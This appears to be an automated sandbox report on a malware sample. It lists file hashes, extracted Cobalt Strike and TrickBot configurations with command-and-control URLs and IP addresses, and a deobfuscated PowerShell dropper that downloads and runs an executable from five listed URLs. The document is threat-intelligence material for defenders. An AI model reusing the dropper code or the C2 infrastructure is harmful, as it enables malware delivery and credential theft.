cobaltstrike | 487f4dd9bdbe94a9cf1a04a8fdec19f16f86864d05d06f0511544b3ff68c850c

General

Target

malware_samples.zip
Size

19.1MB
Sample

250413-txps2azwdw
MD5

d8e816c76ab1b9bc76e73b1aa0f88f2d
SHA1

da193bad12f1b79f8c938d62e8029ba948433859
SHA256

487f4dd9bdbe94a9cf1a04a8fdec19f16f86864d05d06f0511544b3ff68c850c
SHA512

5bd84b71cb39d1d4952255cbabc45608c972757bb63a9f70606e0d2200154374f9e61f1c526ed1fe903b166e5d0b0458540b47da9c70434ae5b31a7b7d1bd02a
SSDEEP

393216:ThCblxXJLB2mW/RxHedw0OZnq0NyWl9Hh9H2KAm4zI:ThSDZLI5xHea9Zf5XHD4zI

Score

10^/10

cobaltstrike trickbot xmrig 0 ono33 execution link macro macro_on_action miner pdf upx

Malware Config

Extracted

Family

cobaltstrike

Botnet

0

C2

http://ns7.softline.top:443/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books

http://ns8.softline.top:443/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books

http://ns9.softline.top:443/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books

Attributes

access_type
512
beacon_type
256
create_remote_thread
768
crypto_scheme
256
host
ns7.softline.top,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books,ns8.softline.top,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books,ns9.softline.top,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books
http_header1
AAAACgAAAAtBY2NlcHQ6ICovKgAAAAoAAAAUSG9zdDogd3d3LmFtYXpvbi5jb20AAAAHAAAAAAAAAAMAAAACAAAADnNlc3Npb24tdG9rZW49AAAAAgAAAAxza2luPW5vc2tpbjsAAAABAAAALGNzbS1oaXQ9cy0yNEtVMTFCQjgyUlpTWUdKM0JES3wxNDE5ODk5MDEyOTk2AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
http_header2
AAAACgAAAAtBY2NlcHQ6ICovKgAAAAoAAAAWQ29udGVudC1UeXBlOiB0ZXh0L3htbAAAAAoAAAAgWC1SZXF1ZXN0ZWQtV2l0aDogWE1MSHR0cFJlcXVlc3QAAAAKAAAAFEhvc3Q6IHd3dy5hbWF6b24uY29tAAAACQAAAApzej0xNjB4NjAwAAAACQAAABFvZT1vZT1JU08tODg1OS0xOwAAAAcAAAAAAAAABQAAAAJzbgAAAAkAAAAGcz0zNzE3AAAACQAAACJkY19yZWY9aHR0cCUzQSUyRiUyRnd3dy5hbWF6b24uY29tAAAABwAAAAEAAAADAAAABAAAAAAAAA==
http_method1
GET
http_method2
POST
maxdns
255
pipe_name
\\%s\pipe\msagent_%x
polling_time
5000
port_number
443
sc_process32
%windir%\syswow64\rundll32.exe
sc_process64
%windir%\sysnative\rundll32.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI579oVVII0cYncGonU6vTWyFhqmq8w5QwvI8qsoWeV68Ngy+MjNPX2crcSVVWKQ3j09FII28KTmoE1XFVjEXF3WytRSlDe1OKfOAHX3XYkS9LcUAy0eRl2h4a73hrg1ir/rpisNT6hHtYaK3tmH8DgW/n1XfTfbWk1MZ7cXQHWQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
4096
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/N4215/adj/amzn.us.sr.aps
user_agent
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
watermark
0

Extracted

Family

trickbot

Version

1000501

Botnet

ono33

C2

5.182.210.226:443

5.182.210.120:443

185.65.202.183:443

212.80.217.243:443

85.143.218.249:443

194.5.250.178:443

198.15.119.121:443

107.175.87.142:443

185.14.31.72:443

188.165.62.2:443

194.5.250.179:443

198.15.119.71:443

185.14.29.4:443

185.99.2.202:443

192.3.193.162:443

89.191.234.89:443

195.54.32.12:443

31.131.21.30:443

5.34.177.194:443

190.214.13.2:449

Attributes

autorun
Name:pwgrab

ecc_pubkey.base64

1
RUNTMzAAAADzIIbbIE3wcze1+xiwwK+Au/P78UrAO8YAHyPvHEwGVKOPphl8QVfrC7x/QaFYeXANw6E4HF7ietEp+7ZVQdWOx8c+HvO0Z2PTUPVbX9HAVrg4h9u1RNfhOHk+YysDLsg=

Extracted

Language

ps1

Deobfuscated

1

$bxuhihnrwkznb = "Qragipxwg"

2

$anwmiwbuzhp = "216"

3

$tznloiyjf = "Hswyddwygisdh"

4

$tnsertkdzepz = $env:userprofile + "\\" + $anwmiwbuzhp + ".exe"

5

$agdbncpats = "Ledeclvsolrtt"

6

$wnkvxwba = new-object net.webclient

7

$wzjliljce = "http://www.prorites.com/wp-content/dsdb28de-kw0ch1msvi-003/", "https://www.silvesterinmailand.com/wp-content/uploads/ibvgux-yg4-03475/", "http://homemyland.net/tmp/wUHdeBS/", "https://www.celbra.com.br/old/wp-content/uploads/2019/mbwl6-lwu0psmcb-523/", "http://prihlaska.sagitta.cz/wp-content/uploads/WwcQXtRta/"

8

$mybwfefhr = "Rtssdguel"

9

foreach ($zlqvqgsfxjcra in $wzjliljce) {

10

try {

11

$wnkvxwba.downloadfile($zlqvqgsfxjcra, $tnsertkdzepz)

12

$dprmnuop = "Evcbsvdtg"

13

if ((get-item $tnsertkdzepz).length -ge 37669) {

14

[diagnostics.process]::start($tnsertkdzepz)

15

$yubavilzpynkv = "Tqktbwxmy"

16

break

17

$lkrkewqerxk = "Geksgisfgrjdw"

18

}

19

} catch {

20

}

URLs

exe.dropper

http://www.prorites.com/wp-content/dsdb28de-kw0ch1msvi-003/

exe.dropper

https://www.silvesterinmailand.com/wp-content/uploads/ibvgux-yg4-03475/

exe.dropper

http://homemyland.net/tmp/wUHdeBS/

exe.dropper

https://www.celbra.com.br/old/wp-content/uploads/2019/mbwl6-lwu0psmcb-523/

exe.dropper

http://prihlaska.sagitta.cz/wp-content/uploads/WwcQXtRta/

Targets

- Target
  
  virusshare/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f
- Size
  
  172KB
- MD5
  
  6ad036ba93c94d6976e2d93c7a3aec6f
- SHA1
  
  cb098f7a0492454a31f3819a1b7ec143c0c507b6
- SHA256
  
  4ee0bf78e3b0a06c35fed0f912db6fabbb5fae13f838cd4132634359ad0d24da
- SHA512
  
  525d3ccb7078d6c34287307891023a47773cb3ec94d6e5d54a4c2cb4006be5ae3356238e8fe4ce5ff17767b8326af385a2be735dac8dbe78f10c185c665f7a00
- SSDEEP
  
  3072:vw2y/GdyrktGDWLS0HZWD5w8K7Nk9pD7IBUaT7jc5Hw:vw2k4jtGiL3HJk9pD7b+jMQ
Score

10^/10

execution
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
  Run Powershell and hide display window.
  execution
behavioral1